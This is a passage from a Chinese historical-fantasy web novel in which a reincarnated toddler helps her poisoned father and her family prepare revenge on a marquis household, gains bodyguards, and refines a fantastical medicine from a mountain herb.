“爹爹,这个哨子,阿沅喜欢,”她举起那枚无声的哨子,眼巴巴地望着孟大川,“能给阿沅玩……”话还没说完,小算盘打得噼啪响。
却换来孟大川一句斩钉截铁、毫无转圜余地的:“不能!”
“爹爹……”阿沅笑容蜕变,拖长了声音,小嘴撅得能挂油瓶,五官也委屈地皱成了一团,双手抓住爹爹的臂弯轻轻摇晃,奶声奶气的撒娇攻势全面展开,“好爹爹……就给阿沅嘛……”
孟大川面对女儿的撒娇,心中一软,脸上故意板了起来,但眼神里的温和却藏不住:“这个真不行,此物关系甚大,非孩童玩具。你要用人,爹爹给你安排就是。”语气虽硬,承诺却给了出来。
奶娃娃立刻见好就收,奸计得逞般笑弯了眉眼:“就知道爹爹最好了!”毛茸茸的小脑袋亲昵地蹭了蹭孟大川的下巴,随即又抬起脸,眼中闪着跃跃欲试的光芒,“爹爹,窝要~掏侯府的老窝。”说得一本正经,仿佛在说要去花园摘朵花。
“胡闹!你才多大?”孟大川和柳氏几乎同时出声呵斥。柳氏更是惊得坐上床沿,满脸的不赞同与担忧。
“是神仙姑姑~让窝去哒~”阿沅早有准备,小脖子一梗,理直气壮地搬出“尚方宝剑”,“神仙姑姑说,要去掏回娘亲的嫁妆~不能便宜了那些坏人!”她圆溜溜的黑眼珠咕噜咕噜转着,观察着爹娘的神色,就不信他们敢不听“神仙姑姑”的指示。
果然,夫妻两人闻言同时愣住,对视一眼,脸上都浮现出惊疑不定的神色。
沉默了半晌,孟大川才深吸一口气,妥协道:“……罢了,阿沅暂且可以动用爹爹方才说的那四名暗卫,急用之时,大叫一声‘乌龙’,即可现身。”这已是极大的让步和信任。
“耶!”阿沅立刻在床上蹦了起来,小身子轻盈地跳了几下,床板发出轻微的“嘣嘣”声,她拇指微翘,“爹爹威武!”
“只是,”柳氏从震惊中回过神,依旧忧心忡忡,她试图让女儿知难而退,“虽是匆忙,细软和银票能带的都带出来了。库房里剩下的都是笨重的大件家具、摆设,还有布料药材等,即便有四个暗卫,也未必能悄无声息搬出来。”更重要的是,她极度担心阿沅的安全,侯府毕竟不是善地。
“没事儿!”阿沅小手一挥,一副胸有成竹的小模样,“神仙姑姑借给窝一个~大大的房子!”
她两只胖乎乎的手臂尽力张开,划了一个尽可能大的圈,然后小脸一扬,带着一股初生牛犊不怕虎的劲儿,“我要掏他个片~甲~”
她故意卡住,眨巴着大眼睛,再次寻求场外援助。
“嘚嘚,”她看向孟怀瑾。
“片甲不留。”孟怀瑾的嘴巴微微动了动,仍然没有抬头,低低的声音却几乎与她求助的声音同时响起,清晰地在安静的室内回荡。
孟大川眼中瞬间闪过惊愕与难以置信的狂喜,他猛地伸出手,紧紧搂住了身旁因激动而微微颤抖的柳氏的肩膀。
柳氏早已是泪流满面,她捂住嘴,不让自己哭出声来,只是贪婪地看着儿子那依旧低垂却终于再次主动开口的侧脸,仿佛要将他此刻的模样深深镌刻在心里。
看着爹娘的反应,阿沅脸上露出了小狐狸般贼兮兮却又无比可爱的笑容,她老气横秋地对柳氏说:“嘚嘚会慢慢好起来的。”接着又像个小管家婆似的叮嘱,“按时吃柒药,必能好。”
至于柳氏因服药和打击而亏损的身体,要想彻底滋补回来,绝非一日之功,恐怕需要好几年的精心调养。
她实验室眼下可没有现成的人参、鹿茸、阿胶、灵芝这类珍贵补药。这也正是她迫不及待想去“掏空”侯府的原因。
那些本该属于娘亲的嫁妆里,定然少不了这些好东西。拿回来,既解了燃眉之急,也算物归原主。
但是嘛!坏祖母的库房~她还是要走走的,否则出不了那口恶气。
第一卷 第7章 第一个狗腿子
孟大川身体还是太虚,那药汤灌下去仿佛抽走了他最后一丝气力,整个人软绵绵地陷在厚褥子里,眼皮沉重得掀不开,只含糊地哼了一声,便又昏昏沉沉地躺下了,呼吸轻浅得几乎听不见。
孟怀瑾却又出现了烦躁的状态,这一次虽未再乱抓乱砸,却更令人心焦。
他在屋子里不住地打转,眼神空洞地掠过熟悉的物件,仿佛什么都认不得了,嘴里念念有词,声音时高时低,谁也听不清在说什么,精神恍恍惚惚的,像是被困在了另一个混沌的世界里。
最终被阿沅拿出来的药材,熬制的“安眠汤”降服,勉强灌下去后,挣扎的力道渐渐小了,眼皮也耷拉下来。
红袖和紫衣费力地将他搀扶到侧屋安置下,由红袖寸步不离地看着。
阿沅紧紧搂着娘亲的腰身,把脸埋在那熟悉的、带着淡淡皂角清香的衣料里,这一觉睡得格外沉实,连梦都没有一个。
补眠醒来的时候,只觉得窗外透进来的天光都格外清亮,四肢百骸都舒展开来,精神倍爽。
柳氏一觉起来,也觉得眼皮不再沉重,心口那块压了许久的石头似乎也松动了些。
这是他们到了这偏僻庄子后,睡的唯一一次安稳觉,没有惊惧,没有忧虑,只有相依相偎的温暖。
接近晚饭的时候,院门外终于传来了动静,紫衣风尘仆仆地回来了,身后跟着四个身材结实、手脚粗大的婆子和两个面黄肌瘦的小丫头,回来就梳洗更衣去了。
婆子们看着都是四十出头的年纪,眼神里虽然带着些小心翼翼和讨好的神色,但不像是偷奸耍滑的。也身子骨硬朗,显是能做活的。
几人很快便被安排妥当:一个去守了院门,一个负责浆洗衣物,两个手脚最麻利的直接进了厨房。
那两个小丫头最多不过八岁,长相普普通通,脸上还带着初来乍到的怯懦,换上的新棉衣不太合身。眼神还算干净,跑腿传话、洒扫庭院这些杂活总能应付。
紫衣回到自己屋里匆匆换了身干爽的夹棉衣裙,再过来回话时,先灌了两大碗热茶下去,那被寒风吹得有些发青的脸色才缓过来些,开口禀报:
“夫人,镇子上的牙行里人少,能挑的丫鬟更少,模样周正些的早就被挑走了,就这两个看着还算本分老实。”
她和青衣是亲姐妹,当年双亲过世后,族里人欺她们年幼,侵占了家产,姐妹俩无处容身。一个五岁,一个七岁,那年冬天差点冻死在雪地里。
是柳氏心善,把她们捡回来,请医问药,精心养了一个多月才捡回了命。这份恩情,姐妹俩都牢牢刻在心里,只想着报恩。
“到了镇子,奶娘便自行归家去了,按您的吩咐,奴婢另外给周嬷嬷雇了辆稳妥的马车,看着她上车走了。
那几个婆子,奴婢也特意交代了牙人,务必远远地打发了,绝不让她们再有机会靠近这一片。”
紫衣事无巨细地回禀清楚。
青衣这时撩起厚重的棉布门帘进来通传:“夫人,王瘸子来访,人外面候着呢。”
得了允许,庄头王瘸子不多时便乐呵呵地进了堂屋,他走路一高一低,手里拎着的两只褪了毛的老母鸡已经被青衣接过。
他脸上堆满了笑,那笑容挤得一脸褶子都深了几分,恭恭敬敬地朝柳氏行了个礼:“给夫人请安。这两日都没见您院里的婆子过去拿鸡,小的心下惦记,是不是大爷的身子又反复,烧起来了?”
说完,那眼睛还不甚安分地往里屋方向瞟了瞟。
“劳你记挂,还是老样子,药是灌下去了,可总不见起色,人也昏沉的时候多。”
柳氏并不让他坐,只自己斜靠在椅背上,做出神情暗淡、心不在焉的模样,手里捏着帕子,指尖微微发白。
“王爷爷,爹爹快不行了。”阿沅突然抢着答话,声音脆生生的,眼睛却一眨不眨地盯着那人的脸,将他嘴角那几乎难以察觉的、一丝极快掠过的扯动看得分明。
随即她便被娘亲轻轻捂住了嘴,“阿沅,别胡说。”
“哎哟,我的小姐,童言无忌,童言无忌!大爷吉人自有天相,一定会好起来的。”王瘸子连忙躬身,语气听着恭敬,眼神却飘忽。
他又转向柳氏,带着几分关切的口吻道:“夫人也莫要太过忧心,仔细自己的身子。听说这老母鸡啊,放点火麻仁一起炖,最是滋补元气,夫人不妨试试,给大爷补补。”
“烦庄头挂心了,”柳氏扶着发鬓,眉头微蹙,做出头疼状,眼睫一垂,眼眶便有些湿润了,“他那样子,哪里还吃得下去这些油腻滋补的东西?每日能喂进去几口清粥,我就念佛了。”
雪天里,佃户们大多都窝在自家屋里猫冬,庄子上也没什么紧要事需要汇报,柳氏也摆出一副因丈夫病重而失了心气、不愿多谈的模样。王瘸子讪讪地又说了几句闲话,便告辞走了。
出了院门,他还与那新来的守门婆子站住闲聊了两句,声音不高。
待那“噔噔噔”一轻一重的脚步声远去,竟是比兔子蹿得还快。
阿沅踮起脚尖,小脸贴在冰凉的门缝边,瞅着那道在雪地里略显蹒跚却去势匆匆的背影,小鼻子轻轻哼了一声,低声自语:“第一个露头的狗腿子,记账。”
青衣没一会儿便掀帘进来,低声汇报:“夫人,王瘸子没多说什么,只跟张婆子讲了几句让她尽心伺候主子之类的场面话。临走时,像是漫不经心地问了一句,原来守门的李婆子哪去了?
张婆子还算机灵,按奴婢先前教的话回了,说李婆子家里突然出了点急事,告假几天回城去了。”
第一卷 第8章 换庄头
阿沅拽了拽柳氏的衣角,仰着小脸。柳氏会意,对青衣吩咐道:“新来的婆子还不熟悉,煮饭煎药这些要紧事,你和紫衣都多上心,仔细看着点,别出了什么差错。”三言两语,便将青衣和紫衣合理地支了出去,屋里只剩母女二人。
“娘亲,‘火麻仁’不好,”阿沅捏住自己的小鼻子,还做了个闭眼皱眉的怪模样,“柒了会难受。”
柳氏眼神倏地一眯,手里捏着的帕子骤然收紧。这庄子是老太太名下的产业,王瘸子的身契也并不在她手上,如今这情形……下一步该怎么做,须得仔细思量,从长计议才行。
晚饭的时候,灶上一直温着的药好像起了作用,孟大川又短暂地醒过来一次。
柳氏亲自坐在床边,一边用小勺细细地喂他喝了几口撇净了油的温热鸡汤,一边柔声地絮絮叨叨说着话,声音低缓,像是在安抚,又像是在传递着什么信息。
阿沅则领着安安静静的哥哥,蹲在屋角背风处,指着砖缝里几只正搬运食物碎屑的蚂蚁,小嘴叭叭地跟哥哥说话。
“…树…动…”孟怀瑾忽然抬起手,指向了院子里那棵枝干遒劲的大榕树。
阿沅顺着他指的方向抬头看了一眼,那榕树高处的细枝在寒风中极轻微地颤动着,若非凝神细看,几乎难以察觉。
知道愿你以后都是安全的,她心里一喜,也为哥哥敏锐的直觉感到高兴。
“嘚嘚,是好人,保护爹爹,保护的的。”
孟怀瑾半懵半懂,跟着学舌,“保护妹妹,保护娘亲。”
柳大川服了女儿调的两剂“半毒半解”药,一直到入夜竟没有再发热,睡得很是安稳。
阿沅像个小大人,歪着脑袋问:“娘亲,爹爹的命算是捡回来了一半?”
“是呢!爹爹一定会好起来的。”柳氏脸上只是包含了些许笑意。
阿沅抬眼,看窗外雪停,星子极亮。
那是她前世没见过的干净天空。
这一夜,依然是无梦的安眠。阿沅直睡到明晃晃的阳光透过窗纸照进来,才被红袖从暖和的被窝里捞起来。
“小姐,出大事了!”红袖一边手脚利落地帮她穿着厚厚的棉袄,一边压低了声音,却掩不住话里的惊诧与一丝兴奋,“王瘸子死了,他婆娘也一块儿死了!”
“啊?”阿沅刚醒的迷糊劲儿瞬间飞走了一半,眼睛瞪得圆溜溜的,闪着惊疑和好奇的光,耳朵都竖了起来。
“怎么回事?”爹娘这出手的速度——也忒快了些,原来对他们而言,解决两条人命那么容易,母亲应该也没那么羸弱。
枉费她昨晚还打算,今天站在台阶上挺直腰杆,大叫一声“乌龙”,好一睹四个暗卫的神仙功夫。
“听说是昨儿晚上喝醉了酒,不知怎的走到冰河边上,失足掉下去了。他婆娘大概是去找他,想拉他上来,结果两人一块儿溺死了。
今儿一大早在下游的冰窟窿里被人发现,捞上来的时候,王瘸子手里还死死攥着半只没吃完的烧鸡……”
“哦!”阿沅的小嘴巴惊讶地张成了一个圆圆的“O”型,能塞下个小鸡蛋了,“那……他的家人呢?孩子什么的?”
“哪还有什么家人!他贪墨庄子银钱、欺压佃户的事儿,这一死就被抖落出来了,好几个佃户都站出来指证。
夫人派人去他屋里一搜,好家伙,藏了不少银子呢!
他家里那点人,夫人直接做主,让人牙子来,都远远发卖了。”红袖说得眉飞色舞,竟很是解气的样子,可见这背主的东西,平时也并不得人心。
“那王瘸子,平日里腆着个肚子,满肚子的板油,就不是个好东西。如今淹死了,捞上来都没人同情,佃户们还直说老天开眼。夫人这一下,真是干脆利落!”红袖麻利地给阿沅套上棉裤。
嘿嘿,果然有了爹爹在背后谋划助力,娘亲行事起来,腰杆子都挺得直直的,手段也果断狠辣了不少。这一波动作,真是够快够彻底。
阿沅心里想着,小短腿得意地晃呀晃呀晃,红袖费了好大劲儿才抓稳,帮她套上暖和的毛皮靴子。
“娘亲,”喝着一碗熬得香浓的鸡粥时,阿沅的八卦心思又活络起来,眨巴着眼睛问,“那庄子现在没头儿了,坏祖母那边……还有庄子以后,怎么办呀?”
庄子毕竟是坏祖母名下的,人也是她安排的,如今死了,总得有个说法,庄子里这么多佃户田地,也得有人接手管着。
“不急,距离春种还远着呢!”
柳氏用帕子轻轻擦了擦阿沅的嘴角,语气平静,“过个七八天,等事情再凉一凉,再遣个稳妥的人回府报信便是。
至于接替的庄头……已经安排好了,为人忠厚本分,只是打仗时丢了条胳膊,你们见了他,唤一声林伯伯即可。”
又是爹爹在病中悄然安排的手笔。阿沅越想越觉得心里踏实又高兴,脸颊上甜甜的酒窝深陷下去,仿佛能掐出蜜水来。
只是回侯府,她又多了个想法。
早饭后,孟柒果然准时领进门来六个人,他们鱼贯而入,在堂屋中央站定。
孟柒自己则恭敬地朝柳氏和阿沅、孟怀瑾的方向行了个礼,未多言语,便转身轻手轻脚地往里屋去了,想是去回禀孟大川。
留下的六个人立刻一字排开,站得笔直,一看就是操练过的。
他们目光低垂,神态恭谨,一站定,看见上首坐着的柳氏母子三人,便齐齐“扑通”一声跪倒在地,动作整齐划一,额头触地,声音清晰地说道:“见过夫人,见过少爷、小姐,请主子赐名。”
“嘿嘿!绿果果,红豆豆。”阿沅乌溜溜的眼睛最先落在中间那两个年纪最小、头上还梳着双丫圆髻的丫头身上。
她们看起来最多不过十一二岁,一个身量细瘦些,一个脸庞圆润些,身上都穿着利落的束装,只是颜色略有不同,一个是暗红,一个是绛红,在灰扑扑的堂屋里显得格外醒目。
阿沅瞧着有趣,忍不住拍着小手喊起来,声音清脆。
柳氏目光温和地扫过那两个小丫头,又宠溺地看了一眼女儿,便顺着她的心意开口道:“既如此,你们俩便叫绿果和红豆吧。往后就跟在小姐身边,定要尽心尽力,护得小姐周全。”
阿沅见娘亲采纳了自己的“取名”,顿时眉眼弯弯,笑得像月牙儿。看着绿果和红豆语出惊人,“坏人,刀…”小手高高举了起来,“落!”
像是在说切西瓜,表情却是咬牙切齿。两个丫鬟肩头猛地一凛,蓦然抬头。
第一卷 第9章 她也是有保镖的人了
嘿嘿,她也是有保镖的人了!
这念头像一颗甜滋滋的糖球,在心里滚来滚去,让她忍不住咧开嘴,露出小米粒似的牙。
那感觉,就像突然多了一层看不见的、却厚墩墩软乎乎的盔甲,走路都可以把胸脯挺得更高些。
“是!奴婢绿果(红豆)谢夫人赐名,谢小姐赐名!”两个小丫头并排跪着,声音脆生生的,带着初次应对的微微颤抖,却又掩不住那股从心底里漫上来的、实实在在的欢喜。
她们规规矩矩地磕下头去,再抬起头时,两双眼睛便像被磁石吸住了似的,亮晶晶地只盯着夫人怀里的奶娃娃看。仿佛那粉雕玉琢的小人儿身上藏着什么惊天动地的大秘密,看得又专注又惊奇。
柳氏的目光随即温和地转向旁边另外两个女子。她们年纪约莫二十来岁,同样身着便于行动的窄袖束腰衣裳,只是颜色是更不起眼的深灰色,像是溶进了傍晚时分的薄雾里,衬得人越发沉稳干练,不言不语间自有股利落的气度。
柳氏和声问道,语调如春风拂过水面:“你们二人,可有自己的本名?”
稍年长一点、面容更显坚毅的女子立刻低下头,应答声平稳清晰:“回夫人,奴婢在家时名叫秀姑。”
旁边的女子肩背挺直,紧接着道,声音略低些:“奴婢叫翠莲。”
柳氏略一沉吟,指尖在袖口轻轻一点,便道:“秀姑这名字质朴,便还叫秀姑吧。翠莲……唤作翠姑,听着像姐妹,也顺口些,更合府里的规矩。”
名字不过是个便于使唤的代号,能用、好记便是,她素来不在这等细枝末节上多费思量。
“奴婢谢夫人赐名!”秀姑和翠姑同样恭敬地弯下腰,规规矩矩地磕头谢恩,动作间没有丝毫拖沓。
柳氏招呼他们六人都站了起来,目光便如流水般自然地投向边侧静静侍立的两个少年。
他们约莫十五六岁年纪,身量尚未完全长开,略显单薄,但站姿却如新竹般挺拔,眼神清亮亮的,没有太多杂质,瞧着便让人放心。
柳氏看着他们,又侧头看了眼身侧安静坐着、神情温顺的儿子,直接安排,语气里多了几分不容置疑的托付:“墨竹,纸槐,便是你们二人的名字。竹有节而虚心,槐坚实可依,都是好的寓意。
以后便由你们随身伺候少爷,起居行走,务必仔细谨慎,眼里要有活儿,心里要存着主子的安危,别出了什么差池。”
“是!奴才墨竹(纸槐)谢夫人赐名!定不辜负。”两个小厮声音洪亮,带着少年人特有的、未被磨去的朝气。
再次利落地跪地,与其他四人一同谢恩,那齐整的声响里透着股新来的劲儿。
之后,六人才由候在一旁的青衣领着,悄无声息地退出屋子。自是去安排住处,熟悉这院里的一砖一瓦、一草一木。
“娘亲,窝也去!”
阿沅早已按捺不住,连忙伸出小胖手,一把拉住旁边红袖的袖子,蹦蹦跳跳就跟了出去,小揪揪在耳朵两边一甩一甩。
嘿嘿!保镖欸,她心里又乐开了花,脚步都轻快得要飞起来!
一出门,还没等她看清院子里的光景,两边胳肢窝就猛地一紧,被两股稳妥的力道凌空架起,骤然离地。
她的小嘴刚张成圆形,一声短促的惊呼还未出口,就对上了下方两张凑近的、一胖一笑的脸蛋。
正是绿果和红豆。她们眼睛弯成了月牙,异口同声地说,带着点玩闹的雀跃:“小姐,奴婢带您飞,可好?”
阿沅想也不想,就应:“好!”,谁知像只小蝴蝶张开翅膀,三人还真的向前飞。
红袖的脸一下都白了,提着裙子就在后面追,嘴里喊得又急又响,像只受惊的小雀:“哎哟!慢着点!仔细别伤着小姐!要是磕了碰了,我…我跟你们拼命!”她跑得气喘吁吁,是真急了。
被架在半空中的阿沅却很快适应了这新奇的感觉,初时的惊吓变成了刺激,她笑得没心没肺,咯咯声响亮,“哇!太好玩了!再高点儿!”她的小腿还踩着空气蹬了蹬,像极了风火轮。
耳边是呼呼的风声,刮过脸颊凉丝丝的,脚下的灌木丛转眼就成了掠过的绿影,身子轻飘飘的,仿佛真的在飞。
两个丫头脚步轻快,步履交错间,不一会儿就越过了庭院,稳稳地落在了后罩房前的空地上。
好在她们飞得不高,起落也快,只是略略体验了一番,不然阿沅还真怕自己这圆滚滚的身子被不小心摔下去。
晚间,娘亲给爹爹喂晚饭的时候,阿沅嘿咻嘿咻费劲地爬上床沿,小脸因为用力而泛红。她趴在爹爹身边,看着爹爹的眼神亮晶晶的,像是盛满了星星。
“爹爹,窝要习武。”她一字一顿,说得格外认真,小拳头还攥得紧紧的。
“什么?”柳氏闻言,微微一怔,随即失笑,只把它当成了孩子家一时兴起的玩笑话,柔声道,“阿沅还小呢,骨头都是软的。习武可是苦事,等再过两年,娘教你绣花,那才雅致。”
“就是,”孟大川靠在枕上,看着眼前白白嫩嫩、仿佛一掐就能出水儿的奶娃子,心里软得一塌糊涂,自然是一万个舍不得。
“习武那是男孩子的事,磕磕碰碰,风吹日晒。我们阿沅是娇娇女,就该被好好娇养着,爹爹看你健健康康、快快乐乐的就好。”
“爹爹,不嘛!爹爹……”撒娇小奶娃立刻上线,声音又糯又粘,尾音拉得好长。
站起身,两只小胖手却不含糊,学着听来的样子嘿哈向前比划,虽然毫无章法,但架势十足,“习武!打坏蛋!保护爹爹、娘亲和嘚嘚!”她说得铿锵有力,尽管口齿还有些奶气。
“那…那也得等你再大些,爹爹亲自教阿沅。”孟大川被她那认真的小模样逗得心里发暖,又满是怜爱,话便软了下来。
全然忘了自己如今双腿没有知觉的现实,那拳拳爱女之心已然溢于言表。
“绿果、红豆教!多多吃,快快学,打坏蛋!”小团子见有转机,立刻打蛇随棍上,神情宛如一只乍着毛、跃跃欲试的小狼崽。
挣扎着在床上做了一个扎马步的动作,小屁股往下沉,居然蹲得挺稳,只是身子晃晃悠悠。
“那…那也得慢慢来,千万不能急。”孟大川彻底缴械投降,无奈又宠溺地笑了笑。他转头对柳氏说,语气带着商量:“云娘,阿沅就是随了我。”语气里满是与有荣焉。
“明日你跟两个丫鬟好好说一说,让她们闲暇时教点最简单的拳脚,强身健体便好,万万不可让阿沅累着、伤着。”
再回头看向早已在床上兴奋得蹦跳起来、把床板弄得砰砰响、粉嫩小脸高高扬起来满是得意的小奶团。
孟大川无奈又追加一句,像是要框定一个安全的范围:“还有,早上不许太早起来,你正在长身体,要多睡。晚上也要早早上床,不能熬夜。总之,别累着了我们阿沅,这是顶顶要紧的。”
阿沅的小胖手高高举起,嘴里早就“欧耶,欧耶”地欢叫开了,只要爹爹和娘亲点了头,在她看来便是拿到了许可的金牌。
她才不信柳氏能时时刻刻跟在她后头盯着呢。
刚刚就已经磨着绿果和红豆,在后罩房那,她和红袖已经蹲了一刻钟的马步。虽然膝盖酸酸麻麻,小腿肚子也有些发抖,但她确定自己可以坚持,红袖咬着唇,坚持得比她更久。
她可是打算好了,打完仇人后,还要做回老本行,让高产的种子在这古代生根发芽,让百姓不再挨饿。
在这王法不太健全、没有监控摄像头可以追溯的古代,没有点实实在在的自保能力,怎么敢想那么远、那么好的未来呢?
这武,她是习定了!
第一卷 第10章 雪上一枝蒿
“小姐又练上了,认真得很。”
秀姑一边整理着床边的药碗,一边轻声对柳氏说,眼角瞥向窗外庭院里那个小小的身影,语气里带着几分怜惜又几分赞叹。
此刻,阿沅正绷着小脸,一板一眼地对着红袖挥动手臂,两人面对打,虽动作稚拙,却透着一股子罕见的执拗劲儿,绿果和红豆只是偶尔提点几句。
“这么勤快?你们可得帮盯着,别练得太过。”柳氏正低头绣着帕子,闻言抬起头,手中针线略略一顿,脸上露出诧异的神色来。
她与孟大川对视一眼,都从对方眼中读到了同样的意外。
原以为阿沅不过是孩童心性,图个新鲜,像往常央求要学弹琴、画画那般,热乎几天也就撂下了,谁曾想这孩子竟一连三日雷打不动,那股子坚持劲儿,倒是真上了心。
“只是早上都不肯起床,吃了早饭又要玩闹一会,接近中午才开始练,晚饭后一个时辰,也扎两刻钟的马步才肯睡。”
翠姑接过话头,她和秀姑每天都要细细将小姐和少爷的起居情形禀报给大爷夫人听:“小姐贪觉,每每要日上三竿才揉着眼睛出房门,可一旦到了院子里,便像换了个人似的。晚间也是,任凭屋里如何暖和、外头如何寒冷,那半个时辰的架势是必定要摆足的。”
“小姐不但和红袖练,也会拉着少爷练。”秀姑又添了一句,想起姐弟俩相处的模样,眼底泛出暖意,“少爷性子静,拗不过小姐,便也陪着。只是……”
“少爷扎马步还拿本书,”翠姑掩口轻笑,接口道,“两条腿颤颤巍巍地蹲着,手里却捧一本书,眼睛都粘在书页上,每次不翻上几十页,是不肯歇的。”
喝了几天药,加上一日五六餐精细的汤羹粥饭轮流进补,孟大川原本枯槁灰黑、仿佛蒙着一层死气的脸,终于开始泛白,那是一种久病初回,不甚牢靠的白色,像是严冬冰层下隐隐渗出的暖意。
只是他依然瘦得惊人,颧骨高高耸起,眼窝深陷,盖在锦被下的身躯单薄如纸。
最让人心焦的是那双腿,自腰腹以下,依旧是沉沉的一片死寂,任凭他如何凝神使力,柳氏再如何揉搓敲打,也唤不起半分知觉,像是不再属于他一般。
第五天,阿沅吃完早饭,没告诉任何人,径直就往后山跑,小短腿密密扎扎踩在雪地里,行动快了不少。
柳氏后知后觉追了出去:“阿沅!别乱跑,回来!”阿沅反而跑得更快,像只灵活的小兔子。
爹爹双腿必须好起来,越拖越没得救,她自制的解毒药也药效太低,两者都需要更好的药。
前天绿果和红豆带她往山上飞的时候,发现后面山上不远处的石缝里长有一棵药草——雪上一枝蒿,如果能混合她的解毒药材炮制,不但可以解百毒,提纯后内服外敷,可以让筋脉再生,治疗偏瘫也有奇效。
“小姐如此刻苦,我们就陪着她练。”
小姐一动,绿果和红豆也动了起来不过这次并没有架起她飞,而是不远不近跟着,都以为她在逼自己练飞奔。
红袖跟得更紧,同样以为小姐在练,柳氏也是看见那三道身影后,才没再追。
这种时候,她要守在夫君身侧,喂他好好吃药,好好吃饭。至于剩下来的那些“好药”,她都听女儿的——给侯府那帮人留着。
扒开积雪,看见石头缝中傲然挺立的一棵绿植,阿沅冻得发白的脸上出现了光亮:“是它没错。”
只是一双小手拔又拔不起,折又折不断,试了几次,她急了,干脆低下头,俯下身上牙咬。
小米牙咬住用力咬,兼往上扯,脸都憋红了,药草一点都不配合。
“小姐,奴婢来!”已经紧跟身侧的红袖一把拎起她,小心轻放——换自己蹲。
“小姐,您快了不少,害得奴婢好追。”红袖喘着粗气埋怨,说话有点慢,“小姐是要这棵吗?奴婢帮你。”
“嗯!就到这里。”阿沅连忙比划刚好持平石缝的位置。
红袖得令双手一拉一拽用尽全力,可是用出的力道太大,手里的药草居然连根拔起,还真是一点都不浪费,最后一屁股躺在了雪地里,四腿八叉。
“哈哈哈……”奶娃娃和小姑娘都笑了,比堆了雪球还开心。
绿果和红豆知道她们开心,只远远看着,却忍不住弯起了嘴角。
红袖看手,又看看叶子。叶子流着浓稠的白色液体,“这东西怕是有毒,奴婢拿回去洗了再给小姐插上。”她傻笑,露出两颗漏风的门牙。
这是误以为小姐要折回去插花,毕竟在冬日里绿植不多。
“红袖,这是好东西,你可别丢弄了。”阿沅小脸认真,“也不能让人抢了,知道吗?”
红袖郑重点头,捡地上一张大点的枯叶,把流着汁液的一头包了,小心地揣进自己怀里,还蹲下抓了一把雪,擦了擦脏污的手掌:“嗯,奴婢记住了。不丢!不给别人抢!看都不能看!”
阿沅嘴角抽了抽,看她流着雪水,又长冻疮的手指,都为她觉得冷,“果然是个傻乎乎的丫头。”
不过胜在忠心,她极需要!她极喜欢!
阿沅站起来,又往山下冲,像只一蹦三跳的小炮仗。
雪更深了,她走得磕磕绊绊,脚印都是歪歪扭扭的。红袖连忙跑上前,蹲下身背着手,再一次托住小姐的小屁股站起来,嘴里还念叨几句:“小姐,您太轻了,以后要多吃饭。”
要是以往,她肯定把小姐抱在怀里往前冲,可现在,她担心毒草沾了小姐的身,只能往背上揽。
阿沅虽然不重,但红袖也没多大,两人加一起走得更慢了,但是红袖也不急,慢悠悠乐呵呵,嘴里一直唠唠叨叨,也不管小姐听不听。
直到到了平地,看红袖确实走不动了,绿果和红豆才上前让小姐下来,但也没带她飞,而是小姐跑,她们追。也算是给小姐今日的习武功课。
第一卷 第11章 闹鬼
晚上阿沅又进了空间,爹爹和哥哥的药快用完了,还得继续配。最最紧要的是,得尽快提纯炮制出为爹爹所用的新药。
药草的根部她想留着,毕竟这药草现代已经灭绝,也只有医书里才见得着。剪了根部短短一截,埋进了庭院的花圃里,还浇了一壶自来水。
培土和浇水时,她心中默默祈愿,盼这来自异世的根须能在此地焕发生机,为未来留存一丝希望。
精挑出来的药材混合药草,先煎煮三个时辰,再过滤,再浓缩,再提纯,最后做成了大小不一的三小瓶药丸。
过程繁琐而耗神。她守着小小的药炉,看着药汁在炉子里上下翻滚、蒸发、变化。
三个时辰的耐心煎熬后,是细致的过滤,滤除每一丝杂质。接着是蒸馏浓缩,让药力凝聚,再以中医传承中更为精妙的方法反复提纯,直至得到最纯粹的精华。
最终,她将带着特殊光泽的药膏搓成药丸,依着预估的药力强弱,分装进三个不同的小瓷瓶中,瓶身还贴上了她做的简易标记。
她终于顶不住双手酸麻和身体的困意,倒在小隔间的床上,瞬间陷入了深沉的睡眠。
梦里,孟大川站了起来。
梦境如此清晰而快意:爹爹不再是病榻上孱弱无力的模样,他身形挺拔如松,双臂充满力量,稳稳拉开一张需巨力才能撼动的大弓。
箭矢离弦,破空而去,带着雷霆之势,精准地钉入了远方的侯府。
刹那间,哭嚎声、惊呼声四起,熊熊烈火吞噬着那充满仇怨与不公的宅院,火光映红了京城的半边天。
梦中,娘亲紧紧搂着她和哥哥,三人站在高处,望着那片复仇的火海。
她激动得小脸通红,用力拍着手掌,直到掌心传来阵阵刺痛,心中积压的愤恨与委屈化作了最简单直接、带着孩童口齿的呐喊,反复回荡在梦的边际:“烧屎他们!烧屎他们!”
“娘亲,柒了好药,爹爹站起来。”
阿沅言简意赅,这一回柳氏没有意外,只是看着那三只莹润如玉的药瓶,眼眶又不由自主地红了起来,泪水在烛光下盈盈打转。
忍不住“噗通”一声跪了下来,朝着门口的方向连连叩首,口中喃喃,跟那位只在女儿话语中出现过的“神仙姑姑”虔诚祷告了一番,感激涕零之情溢于言表。
把三瓶药还有残余的药渣都仔细交给了娘亲,一字一句嘱咐了用法后,阿沅心中那股对侯府的“思念”,骤然变得汹涌而具体。
那不仅仅是想念,更是一种满含着冲动、几乎要破胸而出的决断——她,是时候回去了。
除了担心娘亲那份丰厚的嫁妆会被那些贪婪之人搬空殆尽,更深一层的是,她觉得若让侯府那些人太清闲了,指不定又要开始憋什么阴损的坏主意,对他们一家极为不利。
所以,她又贼兮兮地趴到了爹爹的床头,一双乌溜溜的大眼睛闪着光,嘴角还抿着一丝按捺不住的笑。
“阿沅又憋着什么好主意?”孟大川忍不住伸出手,宠溺地揉了揉她脑袋上那两个可爱的小啾啾,目光里满是纵容与温柔。
“爹爹,暗卫…很厉害?”小家伙仰着脸问,语气里充满期待。
“那是自然,”孟大川胸膛微挺,自豪道,“爹爹手下无弱兵。”
“那…神仙姑姑…说,”小家伙欢喜的眼眸滴溜溜一转,仿佛真有那么一位仙人在耳边授计般,压低了声音,神秘兮兮道,“要送份‘大礼’给坏祖母!”
“阿沅想如何?”对于女儿这古灵精怪、想要使坏的心思,孟大川显然并不意外,也并未全然归功于那虚无缥缈的“神仙姑姑”。
毕竟,他从妻子口中已听说,女儿要热水浇铸冰人的奇思妙想。
阿沅扑棱着狡黠的大眼睛,理直气壮地说:“她坏,恶人…恶报!”说完,便像只软乎乎的小猫般扑到爹爹身上,搂着他的脖子,两人咬起了耳朵。
那软软糯糯、带着奶香的小身子贴上来,孟大川只觉得心软得都快要化成水了,女儿这般“请求”,哪有不安排妥当的道理。
“几天?”孟大川一脸严肃,握住女儿的小手一再确认。
